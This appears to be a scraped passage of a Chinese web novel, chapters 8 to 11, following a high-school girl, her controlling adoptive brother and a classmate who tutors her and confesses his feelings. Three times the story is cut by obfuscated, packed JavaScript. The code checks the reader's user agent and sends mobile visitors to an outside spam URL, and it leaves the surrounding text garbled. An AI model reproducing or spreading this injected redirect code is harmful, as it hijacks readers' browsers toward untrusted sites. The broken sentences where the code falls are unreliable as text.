“这什么?”黎予礼从他手里接过一个礼品袋。 “新年礼物。” “啊?” 她私以为他们还不是互送礼物的关系,而且她根本没有准备回礼。 她把袋子塞回徐寅安手里:“哪有你帮我讲题还给我送礼物的道理。” 找不到拒绝的借口,黎予礼只能这么说,可徐寅安脱臼的左手还被包扎着,右手拎着书包。 看向她的眼神和被遗弃在路边的小狗一样。 “那我先帮你拿着。”黎予礼受不了他这副模样,别扭地变相收下。 并肩走到校门口,黎予礼赶在看到宾利车前先道了别。 她可不想再看见黎宴琛臭着张脸。 本来那么帅的人,一生气就变得神眉鬼道的。 她拉开车门坐进副驾驶,似乎已经习惯了黎宴琛接送,被她放在中控台上的桃子摆件每天都摇头晃脑地迎接她。 黎宴琛扫了一眼她手里拎着的袋子,打方向的同时开口:“你们元旦放几天?” 高三生没人权,法定节假日从不按国家规定天数放。 “两天,周六补课。”黎予礼把书包扔到后座。 “有想去玩的地方吗?” “去玩?不去,我要去同学家。” 黎宴琛握方向盘的力道明显加大,问:“哪个同学?” 黎予礼听出了他话里的异常,抬眼看着他被闪烁而过的路灯刻得锋利的侧脸。 她忽然萌生了坏心思。 故意用理所应当的语气。 “徐寅安。” 8. 桃子 车内气压瞬间降至冰点。 黎予礼胆大包天,侧目盯着黎宴琛的脸,仿佛期待看到他因此恼怒的神色。 可惜哥哥并没有像她预想的那样生气。 黎宴琛始终目视前方,直到这个路口的红灯将他拦下,他才踩着刹车开口:“哪天去?我送你。” 黎予礼听到他这话,以为是“黄鼠狼给鸡拜年没安好心”,故意说得模棱两可:“还不确定呢,你忙你的吧,我可以叫司机接送。” “我不忙。”黎宴琛破天荒说出这三个字。 他要是不忙,美国总统都能下岗。 黎予礼扁了扁嘴,语气明显不耐烦:“不用你送。” 多管闲事。 估计见到徐寅安又要摆张臭脸。 可别把她好不容易拐到手的“免费家教”给吓跑了。 回到家,黎予礼照常把自己关进卧室,她已经用这样的方式无声抗议多时,可黎宴琛不会因为她这点小脾气就放弃对她的管制。 她把徐寅安送她的礼品袋拿过来拆开,看到里面躺着一串做工不算精细的钥匙扣。 粘土质地,梨子形状,底部开了口,里面挂着一个铃铛。 黎予礼把钥匙扣拎起来左看看右看看,觉得它不像是买来的,倒像是某位只有一只手能活动的人亲自做的。 手脚虽笨,但真是用心。 可惜黎予礼最喜欢的水果是桃子。 多半是因为班里同学都管她叫“梨子”,徐寅安才做了这么个物件吧。 不能怪他,这个世界对黎予礼了如指掌的人大概只有黎宴琛一个。 况且她也不清楚徐寅安喜欢什么,想回礼都不知道送什么好。 黎予礼思来想去,还是把钥匙扣挂到了书包拉链上。 挂到黎宴琛一眼就能看见的地方。 其实她知道在她表明了不用接送的态度后黎宴琛的沉默意味着什么,因此她第二天醒来时特意小心翼翼的,躲在房间里收拾好了一切,才给司机发消息。 本以为万事俱备只欠上车,结果她蹑手蹑脚离开家,鬼鬼祟祟来到和司机约定的地点,却看见黎宴琛背靠着宾利车,面对她来的方向抱臂站着。 黎予礼的双脚仿佛被钉在了原地,进退两难。 “走吧。”黎宴琛率先开了口,看上去好似并不反对她去徐寅安家。 她心觉稀奇,撇了撇嘴,提溜了一下单肩背着的书包,听话上了车。 “导航。”黎宴琛把自己的手机递给她。 黎予礼熟练地输入自己的生日解锁了屏保,打开地图APP搜索徐寅安昨晚发给她的小区名字。 离他们家不算太远,跨了一个城区。 她把哥哥的手机递回去的时候注意到通知栏上的日期年份还没变,今晚正值跨年夜。 以往这一天,她都会让黎宴琛提前买好零食,把茶几摆满奶茶、蛋糕和桃子。 整张沙发都属于她,电视台节目想看哪家看哪家。 黎宴琛时不时会过来陪她,主要任务是帮她削桃子。 桃子不同于西瓜、木瓜之类的水果,它越靠近中心果核的部分越容易发酸。 偶尔有微苦涩口的部分,黎予礼会皱着眉抱怨。 “好酸。” 这两个字像是口令,黎宴琛一听到就会拿过她手里已经被她咬了好几个缺口的桃子,毫不介意地替她解决剩余果肉。 甚至会再给她削一个完整的、足够甜的。 黎予礼就是这么被他惯坏的。 被他惯得吃不了一点苦,尝不了一点酸。 被他惯得总是在一些莫名其妙的时刻想吃桃子。 但徐寅安家里没有桃子。 黎予礼抱着书包走进来,徐寅安一眼就看到了他送的钥匙扣。 情窦初开的小男生藏不住心事,止不住脸红。 “予礼,你……” “啊?”黎予礼正忙着参观呢,丝毫没有做客之态,“你家还挺大,一个人住不无聊吗?” 话是这么问,但要是让黎予礼一个人住他们家那五室两厅数百平的房子,她求之不得。 “是有一点无聊,”徐寅安抬起右手挠了挠头,“你如果有空可以常来。” 看似邀请做客、实则为制造独处机会的司马昭之心过于明显,黎予礼假装听不出来:“高三哪有什么空啊。” 徐寅安只好怅然附和:“……也是。” “我又不像你,成绩那么好,想学就学、想玩就玩。”她用手拨弄着窗台边的植物,差点忘了来这儿是有正事要办。 徐寅安见她忽然变了神情,拎起书包问他在哪讲题,认真的模样与过去大相径庭。 “就在客厅吧,我去给你倒杯水。” “好。” 黎予礼完全没有初次做客的不自在感,盘着腿在茶几旁坐下,地毯的柔软触感令人放松。 “你怎么坐地上了?”徐寅安拿着一杯温水走过来,生怕自己待客不周,“要不还是换个地方吧?” “没事儿,”她伸手接过水杯,“我没那么讲究。” 虽说黎家从未亏待过她,吃的、用的、穿的全按最好的来,但她一点儿也没有富家小姐的架子,反倒特别接地气。 现在想来,这脾性多半是骨子里天生的。 “数学卷子你写完了吗?”黎予礼开门见山,从书包里掏出她一字未动的元旦作业。 区区两天假,每科一张卷。 谁能懂平分后刚好一天写三张的救赎感。 黎予礼不懂,她活人微死,救不了一点,科任老师们还认为自己非常仁慈。 “写完了,你有什么不懂的可以问我。”徐寅安把自己脱臼的左手搭到茶几上。 黎予礼瞥了一眼,边写卷子边问:“你这手一个人生活不会很麻烦吗?还有多久才好啊?” “不算麻烦,”徐寅安静静地看着她,笔尖擦过纸张的声响穿插在他的话音里,“完全康复的话大概2到3个月吧。” “这么久!?”黎予礼停下计算的思路,伸手扳指头数数,“1月、2月、3……不耽误高考,那就好。” 徐寅安听到她这话,难掩开心,刘海堪堪盖过的眉眼里舒展着笑意。 “等等,那我这样会耽误你吗?”黎予礼忽然想到重点,手里的笔都放下了。 她不傻,她知道徐寅安为什么帮她。 她也知道不该利用他,所以和他相处的时候她会时刻把握着分寸。 但她不知道徐寅安为什么会喜欢她。 她过于张扬、过分招摇,或许少年人会下意识被惹眼的地方吸引。 可她不认为这些能够成为喜欢的原因。 徐寅安定定地看着她,神色认真,好似十分重视这个回答:“不会。” 黎予礼愣住了,她从未被这样真挚的目光包裹。 见她不说话,徐寅安再度强调:“不会。你不会耽误我。” 交汇的视线像是有了聚光作用,在空气里出现隐形的曲面结构,发生折射并汇聚成焦点。 逐渐燃烧。 黎予礼被他炽热的目光烫得收回了视线,嘴里嘟嘟囔囔:“不会最好。” 但她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855440|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思绪回到试卷上后不会写题了,这很不好。 无奈看向徐寅安,她虚心求教。 双手摁着试卷推到男生面前,她换上一副每每黎宴琛看到就会直接妥协的撒娇模样。 “你给我讲讲这道吧。” “好,”徐寅安眼神略有闪烁,嗓音也哑了几分,“这题的考点是……” 授人以鱼不如授人以渔,徐寅安坚持教会黎予礼如何解题,而不是直接告诉她这些题的正确答案。 但这个方法对于她来说稍有负担,铺天盖地的知识点将她淹没,她勉强写了半张卷子的笔记,太阳穴就隐隐作痛。 “休息会儿吧,”黎予礼双手合十,“求求你了徐老师。” 徐寅安怎么可能拒绝她,他抬手虚挡着下半张脸,清咳了几声,试图掩盖自己喉结滚动所暴露的紧张。 “十五分钟够吗?” “够。” 黎予礼获批“课间休息”,立马站起身伸了个懒腰,俨然把这里当成了自己家。 她又开始在客厅晃悠,独居男子的家对她来说非常新奇。 “你家里人是在别的地方住吗?” “嗯,”徐寅安还坐在茶几旁帮她整理试卷,“我妈在外面做生意,我爸就跟着她到处跑。” “这样啊。”黎予礼看上去毫无波澜。 “你呢?你哥是……” 她总觉得徐寅安有意把话题往黎宴琛身上扯,但她并不想在好不容易摆脱哥哥的时刻提起他。 “我跟他住一块儿。”她面无表情。 徐寅安追问:“只有你和你哥吗?” 黎予礼本在俯身打量窗边盆栽的长势,听到他的问话后站直身体,转头看他:“对。” 她的语气明显生硬不少:“只有我和我哥。” 徐寅安毕竟是高材生,眼力见不差,适时转移了话题:“对了,你有想过考哪个学校吗?” “哪个学校?”她复述了一遍他的问题。 “嗯,有目标院校吗?” 在得知自己和黎宴琛没有血缘关系前,黎予礼连人生目标都没有,更别提高考志愿了。 她摇摇头:“没有。” “你可以看看有没有想去的学校,然后以此为目标,这样学起来会更有动力。”徐寅安从茶几抽屉里掏出一本厚得跟板砖似的高考志愿填报指南,“这本是去年的,借给你参考一下。” 黎予礼走过去坐下,一边翻书一边自嘲:“就我这成绩,有学校肯录取我就不错了。” “别妄自菲薄,”徐寅安摁住书页,“你很聪明的,我相信你可以。” “……真的假的?”她有充分的理由怀疑他所言的真实性。 “真的,”他重重地点了点头,“你很优秀,能在这么短的时间内消化这么多知识点。很多人都做不到的,换做是我可能也做不到。” 黎予礼不说话了。 她极少被这样坚定地肯定。 小时候只有黎宴琛会对着她七歪八扭的画作夸她是天才小画家。 只有黎宴琛会觉得她优秀。 但现在不一样了,她在徐寅安眼里也是优秀的。 她在徐寅安这里也能获得毫无保留的夸奖。 指腹下摩挲的纸张上正好印着京安市的几所大学,黎予礼知道以她目前的成绩还远远够不上入学门槛。 可听了徐寅安肯定的话语,她好像真的有了信心。 她以前从未想过离开逾桐市,离开这座生她养她的城,离开爱她护她的人。 但她现在好像找到了逃离黎宴琛的最佳办法。 9. 告白 黎予礼以前觉得学习的日子度秒如年,但她现在巴不得时间再放慢些。 用功后才知道分秒必争,高三生不到两周的寒假转瞬即逝。 她装了一些家里春节没吃完的年货到书包里,打算分一些给徐寅安。之前她想回赠些什么,但一直没找着机会也没挑中合适的礼物。 黎予礼颠了颠书包重量,里面装的糖果都是黎宴琛买的,都是她爱吃的。 不知道徐寅安会不会嫌弃。 看到男生惊喜的神情,她知道完全是自己多虑。 只要是她给的,恐怕是毒药徐寅安也甘之如饴。 “你的手怎么样了?”黎予礼替他把糖衣撕开。 甜腻的味道从她指尖转移到徐寅安唇边。 “差不多了,”他抬起左手在她面前活动了一下,“现在屈伸都不受限,只是不能负重。” “还挺快,”黎予礼点点头,“没到三月呢。” 这句感叹是基于康复时间来算,但要是相对于高考时间来说,黎予礼难忍一声长叹:“都快三月了!” “嗯,”徐寅安抬头看了一眼教室前方的倒计时牌子,“月底就百日誓师了。” 高考誓师大会是备考阶段的重要仪式,目的是强化考生们的信心和决心,且在一定程度上能够缓解复习后期所带来的焦虑和压力。 黎予礼最大的压力来源是时间不够,百日誓师只会加剧她的焦虑。 逾桐市高级中学作为全市重点,誓师大会自然规模隆重。在距离高考100天的日子里,学校组织全体高三学生前往孔庙祈福。 由于活动规模庞大,在保证学生安全的前提下,校方呼吁各位家长陪同前往。 黎予礼没有家长。 她不需要黎宴琛陪她。 她不认为黎宴琛是她的家长。 同样落单的还有徐寅安,他认为没必要把远在省外的父母叫回来。 冬末春初,冷暖交汇,昼夜温差明显,逾桐市常见低温阴雨天气。 偏偏在誓师之日不作美。 黎予礼下车时,阴云还未密布,若不是黎宴琛执意把伞递给她,她并不会料到今日有雨。 “大家拿好东西,待会儿以班级为单位,搭乘校方租的公交车前往孔庙。”班主任在讲台上组织纪律,座位上的学生们早已按耐不住。 听到班主任说誓师大会结束还要回学校上晚自习,黎予礼把刚才分发的红丝带和祈福心愿牌装进口袋里,不打算背书包去。 险些把黎宴琛给她的伞一起落下,她出了教室才看到外面下起了淅沥小雨。 徐寅安跟她一样,没有看天气预报的习惯。 徐寅安跟她不一样,他没有时刻帮他料理一切的哥哥。 他跟着人群走进雨里,冰凉的雨丝弄湿了他的发线。他抬头看到云层被风吹散,想着这点雨应该不至于把他淋感冒。 黑色的伞沿遮盖了他的视线。 “你傻啊?”黎予礼举着伞从他身后走到他身边,“没伞不会找人捎你一程吗?” 徐寅安偏头看她,伞不大,刚好能够容纳他俩。 雨也不大,在这一瞬间,好像世界万物都为她而停下。 “我来撑吧。”他想接过她手里的伞把。 被她轻轻躲开:“哎呀别啰嗦,你那手不是不能拿重物吗?” 伞怎么会重呢? 再重也不会比他的心跳沉。 黎予礼见同学们陆陆续续往停满了公交车的空地上走,着急地催促:“走快点吧,万一没座位你的手不方便扶。” 徐寅安却突然停下来脚步。 “走啊,”黎予礼察觉伞下少了一人,回身看他,“愣着干嘛?” “予礼。”他轻唤她的名字。 黎予礼不自觉蹙眉,同龄人一般叫她的外号或者连名带姓地称呼。 只有家里人会叫她“予礼”。 只有黎宴琛爱叫她“予礼”。 徐寅安没有看出来她的排斥心理,定定站在雨里望着她。 这绝不是一个告白的好时机。 但这场雨把他的爱慕之心淋得湿漉漉,他害怕再不把喜欢宣之于口,他和黎予礼就会被雨水冲散。 他害怕自己再不争取,他和黎予礼的分别就会像高考一样进入倒计时。 奔走的人群比雨声嘈杂,班干部协助老师组织学生们排队上车。 他们已然掉队。 徐寅安迈步走向她,肩膀上的水渍连成一片,细小的雨珠挂在他翕动的眼睫上。 黎予礼仰头看他,从他发梢滴落的雨险些淋湿她。 “我喜欢你。” 他将彼此心知肚明的事正式说出口。 可她却没有做好准备回应。 “梨子!学委!快点儿,就差你俩了!”班长的呼喊声从不远处传来,催促他们赶快上车。 黎予礼如获解救般从汹涌的爱意里脱逃,应了声“来啦”便转身要走。 可她实在不忍心把徐寅安丢在雨里。 不忍心让雨把他淋得湿漉漉。 于是她叹了口气,伸出左手去拉他的手臂。 那些缠绕在她手腕上的饰品叮呤当啷地砸在他的皮肤上。 砸疼了他的脉搏。 “上车再说。”她把人拽走。 公交车核载人数是“座位数”加“站立空间的承载人数”的总和,但实际上只要超出座位数的一倍,车厢空间就会变得十分拥挤。 他们班一共有49名学生,摇晃的车身迫使站立的同学不得不就近扶好。 徐寅安用右手握住上方的吊环式扶手,左手使不上力气,双脚与肩同宽站立,勉强维持平衡。 黎予礼虽然因为他刚才突兀的告白而尴尬得不想与他对视,但两人最后上车,只能挨在一块儿。 她双手扶住其他同学的座位椅背,比徐寅安多一个支点。 雨伞被她挂在臂弯处,残留的雨水顺着伞面滑落,在她脚边漪出一滩水洼。 公交车还是太晃了,黎予礼忽然开始想念黎宴琛的宾利。 想念他平稳的驾驶和舒适的座椅。 车上的同学七嘴八舌,聊什么的都有。好不容易空出一天不用学习,谁也不想再聊成绩。 但黎予礼想。 她想祈求上苍,保佑她如愿以偿。 思绪渐渐跟着公交车摇晃,她并未留意有人在嚼她和徐寅安的舌根。 “……还说他们没什么,都站一起了。” “我那天还看到他俩一起回家……” “而且她现在都不跟我们一起玩儿了,重色轻友啊……” “……我还以为她看不上学委呢!” 黎予礼看上去充耳不闻,眼神望向窗外,偶尔站不稳的时候,肩膀轻轻撞到徐寅安的胸膛,她才会回过神来对他说一句“抱歉”。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855441|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >八卦的声音愈发刺耳。 “你们说,要是老班知道了,是骂她还是骂学委?” “手心手背都是肉,一个是学校捧着的富家女,一个是有可能拿状元的三好生。” “你这么一说他俩还挺配的。” “哎哟又给你嗑到了是吧?” 其实黎予礼根本不在意这些,就算听到了她也会无所谓地当成耳旁风。 可在乎她的人不愿意她被流言蜚语裹挟。 徐寅安回头睨了一眼口无遮拦的同学,目光锐利得仿佛能将人千刀万剐。 黎予礼难得在他脸上看到这样的表情,还觉得有些稀奇。 下一秒,温热的掌心贴上她的耳廓。 徐寅安抬起左手,轻轻捂住了她的耳朵,试图用手替她挡下那些不堪的声音。 她下意识抬头看他,他们还从未有过这般亲昵的接触。 手心的温度好似烧得她耳根子发烫。 黎予礼咽了咽口水,垂眸躲开徐寅安的视线。 公交车忽然刹车,惯性让她的心跳也变得横冲直撞。 青春期的少年,生长激素与性激素协同作用,会导致情绪敏感度提升,易因微小的互动而产生强烈情感波动。 且多巴胺分泌所产生的类似获得奖励的愉悦感,在一定程度上填补了黎予礼的情感空缺。 她发现自己好像只是不知道该如何回应徐寅安。 不代表她想拒绝徐寅安。 她知道学校里早恋的人不少,但她从未想过她会成为他们中的一员。 光是想象一下,她都觉得黎宴琛会愤怒到把徐寅安杀了。 黎予礼没有挣开徐寅安的手,反而在心里以“不能伤到他的手”为借口,劝说自己接受他的好意。 劝说自己接受他的喜欢。 公交车驶入园内,在停车区域依次停好,学生们挨个下车,排成长队按班级次序前往孔庙。 雨还在下,她和徐寅安并肩撑着一把伞,两人在队伍里显得十分突兀。 黎予礼站在他右侧,偏头发现斜斜飘下的雨滴打湿了他的左臂。 “你过来点,”她干脆拉了他一把,让他再靠近一些,“别淋伤你的手。” 雨哪有这么危险。 她在意徐寅安,连她自己都没有发觉。 队伍很快来到孔庙前,依照大型活动惯例,校领导肯定要依次发言。 黎予礼和他站到了队伍最末尾,否则两人同撑一把伞容易遮挡身后一字排开的同学。 枯燥的打鸡血的环节令人深感无趣,有这时间还不如多写两道题。黎予礼小幅度转动雨伞,希望飞走的雨滴能一并带走她无聊的心情。 徐寅安看穿了她的心思,伸出右手在她面前打了个响指。 “给你变个魔术。” “你还会变魔术?” 估计只是一些耍帅用的小把戏,但在这样的时刻里,徐寅安就是做个鬼脸也能让她稍微变开心。 “你要变什么?”黎予礼举着伞,仰头看他。 他微微俯身,用自己不算灵活的左手吸引她的注意力。 接着右手绕到她脑后,响指声让她激灵得一缩。 这个姿势她仿佛被他圈在怀中。 徐寅安缓缓把右手从她身后抽回,指间挂着一条红丝带。 飘扬的绸缎上晕着乌黑的墨迹。 “祝你如愿以偿,金榜题名” 10. 毕业 黎予礼知道,所有祈求神明保佑的祝愿都不如自己去实现。 她把自己埋进沉重的书卷里,其他事情都无暇顾及。 渐暖的春风从窗外吹进来,桌上堆叠的书本被吹开了一页又一页,簌簌的响声像极了落叶。可枝桠上的嫩绿只见茂密,没有将要飘零的痕迹。 黎予礼抬头看向黑板,密密麻麻的白色粉笔字不停轮换,倒计时牌上数字越来越小。 时间久了,麻木的机械感好像支配了大脑。 等她再找到机会喘息时,倒计时已然停止,黑板上的粉笔字变成了五彩缤纷的“毕业快乐”。 原来桌上的书本试卷是她高中尾声的落叶。 黎予礼还记得拍毕业照那天,校方请来的摄影团队正组织同学们按照女前男后的顺序排列。 她踏上合影阶梯时,心里还想着数学课堂小测时没做出来的那道题,没有留意身旁都站着谁。 没有留意自己的青春定格在哪一页。 就这么结束了。 黎予礼突然感到恍惚。 恍惚自己真的努力了,恍惚自己的努力里有着徐寅安毫无保留的帮助。 考完试第二天,黎予礼趁着哥哥去公司的时间溜出家门,打了辆车前往离徐寅安家最近的商场。迟了近半年的回礼,她也该补上了。 但她还是不知道徐寅安喜欢什么,漫无目的地从商场一楼逛到顶楼,最后捧着手机坐在奶茶店里,打开社交媒体平台搜索“最适合送给男生的礼物有哪些”。 看着一堆“领带”、“手表”、“鞋子”等乱七八糟的选项提名,黎予礼沉沉叹气。 真不知道以前黎宴琛是怎么给她挑礼物的。 想送一件合适又得体的礼物也太难了! 要不也送一串钥匙扣吧? 但是显得太过寒碜。 毕竟黎予礼日常支出用着黎宴琛的亲密付,不超过三位数的礼物多少有点拿不出手。 最后她在商业街的一家古着手作店里挑了一条男款项链,还顺便给自己的手腕多添了两条水晶珠串。 虽说高考结束了,但黎宴琛对她的管控只严不松。 回家途中她倒霉碰上了晚高峰,打开门就看到哥哥冷着张脸坐在沙发上。 黎予礼佯装没看见,随手把购物袋放在玄关处。餐桌上的香味引得她肚子咕咕叫,她干脆掠过客厅,去厨房洗手准备吃晚饭。 “今天去哪了?”黎宴琛走到餐桌边,语气远没有黎予礼想象中差。 她拉开椅子坐下,一边盛饭一边没好气地答:“我爱去哪去哪。” “怎么没叫司机送你?” “……我打车更快。” 其实黎予礼一直怀疑家里司机会给黎宴琛通风报信,所以能自己打车的情况下她基本不会做“自投罗网”的事情。 可黎宴琛是出于安全考虑,没忍住唠叨了两句:“以后还是叫司机接送吧,这样我比较放心。” “放心什么?”她用筷子夹了一块牛腩,“放心你的亲密付不会到限定额度?” 她知道黎宴琛不会这么想。 但她就是想呛他一下。 不过她这样耍小性子的话语往往不会引起黎宴琛的情绪波动,他淡然垂眸,甚至“不计前嫌”给她剥了几只虾子。 黎予礼一次性往嘴里塞了五个虾仁,只想赶快结束这顿饭。她腮帮子鼓鼓囊囊的,盯着面前的碗碟面无表情地专心咀嚼。 没有注意到哥哥看她的目光有多温柔。 她三两口扒完了饭,扔下碗筷和一句“你慢吃”便离开了座位。 回到房间,黎予礼掏出手机想给徐寅安发消息,问他明天有没有空见一面。 还不等她组织语言打字发送,对面竟先一步发来了简讯。 【明天有空吗?】 黎予礼不自觉勾起嘴角。 【有啊】 徐寅安的备注变成“对方正在输入…”,似乎是斟酌了一会儿,才决定好该如何回复。 【想不想吃甜品?】 【我知道一家在城北的私房店】 【想吃的话我带你去】 黎予礼爱吃甜食,她几乎没有犹豫。 【好啊】 敲定了行程,她莫名有些安心,这份回礼迟到了太久,她不想再亏欠徐寅安的心意。 黎予礼正纠结着要不要听黎宴琛的话叫司机接送,拿起手机看了眼日期才发现明天是周六。 完蛋了,哥哥不上班,她该怎么偷溜! 她躺在床上不耐烦地蹬了蹬腿,算了,硬着头皮说要出门找同学玩吧。 黎宴琛总不能限制她的人身自由。 事实证明确实是她多虑了,第二天黎宴琛有事外出,她正大光明地离开家赴约。 没叫司机接。 徐寅安高考前就一直没空去理发,黎予礼不爽他那脑袋毛很久了,还腹诽过班主任偏心,不管好学生的仪容仪表。 否则按照学校要求的前不扫眉、旁不遮耳、后不过颈,就是黎宴琛来了也得变成愣头青。 黎予礼下了出租车,一眼就看到徐寅安做了新发型。 看似凌乱的发尾凸显了男生精致的骨相,分明锐利的造型却因他澄澈的眼瞳而变得很乖很乖。 “你去理发啦?”黎予礼一直盯着他看。 他有些脸红:“嗯,狼尾,好看吗?” “狼尾?”黎予礼重复他的话,“你这是小狗尾吧?” 她开玩笑时眼睛弯成月牙,徐寅安感觉自己仿佛在一瞬间变成了望着潭中月的小狗。 笨拙地想要去打捞,却什么也触碰不到。 “你不喜欢吗?”他忽然问。 黎予礼走在他前面,听到这样一语双关的话愣了愣。 随后垂头继续往前走,不自觉放慢脚步,直至与他并肩。 她小声嘀咕:“……没说不喜欢。” 小狗耳朵很灵的。 徐寅安听见了。 黎予礼不习惯背包,礼品袋就这么拿在手上。 其实徐寅安早就看见了,但他一直等到他们在甜品店坐下,一直等到黎予礼亲手送给他。 “这是什么?”他明知故问。 黎予礼有些不好意思,这是她第一次送异性朋友礼物,“你拆开看看不就知道了。” 像得到了潘多拉魔盒,徐寅安不舍得拆。 他把礼品袋放到一边,拿手机扫了桌上的点单码,让黎予礼先点些想吃的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855442|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你估分了吗?”好学生就是不一样,三句不离学习。 黎予礼摇摇头,把手机递回去给他,“没呢,反正早晚都会出成绩,不着急。” “我大概算了算,我应该能去京安大学。” “真的假的!?”她一下子睁圆了眼睛。 她知道徐寅安的成绩一直很稳定,也从来没有怀疑过他的实力。能考上京安大学,完全是意料之中。 但她还是会感到惊喜,可能更多的是替他开心。 “真好,”黎予礼双手捧着脸,“要是我能去京安工商大学就好了。” “你已经看好专业了吗?”他们还没有聊过这个话题。 没有讨论过对方的未来有没有自己。 黎予礼否认道:“不是,只是京安工商大学是京安市历年来录取分数线最低的学校。” “还是得考虑一下专业吧,毕竟上了大学就要做职业规划。”徐寅安劝说道。 她哪有什么职业规划,年近20岁还不知道自己想做什么、会做什么、能做什么。 服务员端着两个精致的小盘子过来,黎予礼点了一份桃子千层和一份百香果渍水蜜桃。 “你没点吗?”她有些惊讶。 徐寅安摇头:“我不常吃甜品。” “那你还带我来?” “找个借口约你见面。” 黎予礼不说话了,拿起叉子戳了一块水蜜桃切块塞进嘴里。 她大概猜到了徐寅安为什么要约她见面。 桃肉上挂着百香果蜂蜜浆,怎么看都不会难吃的搭配,但黎予礼吃不惯。 味道是酸酸甜甜的,桃子的香气隐隐被百香果压制住了。 她最爱的是桃子,这个搭配对于她来说并没有让桃子变得更好吃。 而且店家用的桃子不是很甜,她吃了一块之后就难忍感叹。 “好酸。” 徐寅安看见她把叉子放下,也没有要尝一块的打算。 他双臂搭在桌面上,神色认真:“予礼。” “嗯?”黎予礼正挖下一小块千层蛋糕放入口中,“怎么了?” 叉子上的奶油不小心蹭到了她嘴角。 他没有回答,伸手用指腹轻轻擦过她唇边。 甜腻的味道从她唇边转移到徐寅安指尖。 如此亲密的举动让她整个人呆滞住了。 长这么大,还只有黎宴琛在她小时候这么替她擦过嘴。 她用力将紧张的情绪和嘴里的蛋糕一并咽下,眼神躲闪:“……谢谢。” 徐寅安笑着看她,没有再次说出那句让她无法回应的话。 “一起去京安吧。”他说。 黎予礼停下了挖蛋糕的动作,抬眼和他对视。 嘴角仿佛残留着他指腹的温度,在炽热的目光中缓慢灼烧,催促了心跳。 她知道这个约定意味着什么。 她也知道答应他意味着什么。 桌上的甜品散发着好闻的桃子香气,让黎予礼感到舒心。 也许令她舒心的不止是气息。 还有面前少年人的爱意。 她小幅度地点了点头,把蛋糕盘子推到徐寅安面前。 “尝尝吧,很甜。” 11. 融化 黎宴琛在去往展会的路上收到了一条亲密付的退款讯息。 【您为[黎予礼]开通的亲密付发生退款,金额198元已退回至您的账户余额,额度未恢复。】 看到信息的黎宴琛微微皱眉,从通知栏点了进去。 交易记录显示的日期是6月10日,黎予礼独自外出的那天。 难以压抑的掌控欲促使黎宴琛第一次点开亲密付的订单详情,看到了退款商户信息—— 万信广场东商业街栖时古着。 黎予礼初中毕业后他就极少插手她的消费,不像小时候,从头到脚的衣服都是他挑的。 黎宴琛惊觉自己已经很久没有了解过妹妹的喜好了,这几年送礼物还是按照以往的惯例,或许缺少了些新鲜感。 他并不知道黎予礼在这家店买了什么,也不知道为什么店家发起了退款。 于是他打开地图搜索店名,拨通了商家的联系电话。 “喂您好,这里是栖时古着,请问有什么可以帮您?” “我于6月10日在贵店消费198元,刚刚收到了退款提醒,想请问一下这笔交易是出了什么问题吗?” 黎宴琛习惯了和那些阿谀奉承的商人打交道,对陌生人说起话来一副官腔,满是距离感。 “先生您好,方便提供订单编号吗?我这边帮您查询一下。” 黎宴琛报了一串数字。 “是这样的,您于6月10日在我店购买的手作水晶珠串的原料批次存在质量问题,经本店商讨决定,对已售出的订单作仅退款处理,原路返还欠款的同时会附上详细原因,还望您能谅解。” 亲密付交易中,商家可直接联系到的是购买账户,但实际资金由支出账户承担,因此黎宴琛只会收到退款讯息。 挂了电话,他想起那天黎予礼外出回家后手上多了两串新饰品。他知道妹妹一直以来都很喜欢这些闪闪的漂亮东西。 但他不希望她手上戴的是残次品。 把手机界面切回地图,黎宴琛看了一眼栖时古着的具体地址,决定晚一点再去展会。 “先去一趟万信广场。”他对驾驶座的助理说。 虽说黎宴琛在妹妹眼里是一个很无趣的人,但他绝不是不解风情,都是不擅言辞罢了。 黎予礼高考完那天,他就在计划该带她去哪里玩比较好,来来回回想了好几个方案,担心妹妹都不满意。 加上最近忙着去展会,他被迫暂时搁置了此事,没有告诉黎予礼。 忙是忙了点,但该有的毕业礼物还是要有,正好借这个机会去黎予礼喜欢的店里买一些她平时会戴的小玩意儿。 助理把车停在商场地下库,像黎宴琛这样西装革履单独逛街的还真没有,他理所应当地成为了这条路上回头率最高的人。 不过他向来不在乎他人目光。 古着店门口挂着一串风铃,在黎宴琛推开门时发出清脆的响声。 “欢迎光临栖时古着。”店员闻声开口。 他本想直接询问店员那批存在质量问题的水晶有没有同款,话到了嘴边又被他咽下。 还是自己挑吧,送礼物该用心。 店员见他在货架间犹豫不停,干脆上前:“先生您好,请问有什么可以帮您的吗?” 其实黎宴琛看中了一条中古项链,但他不确定黎予礼会不会喜欢这样的款式,且在他看来二奢品不适合送礼,所以才迟迟未做决定。 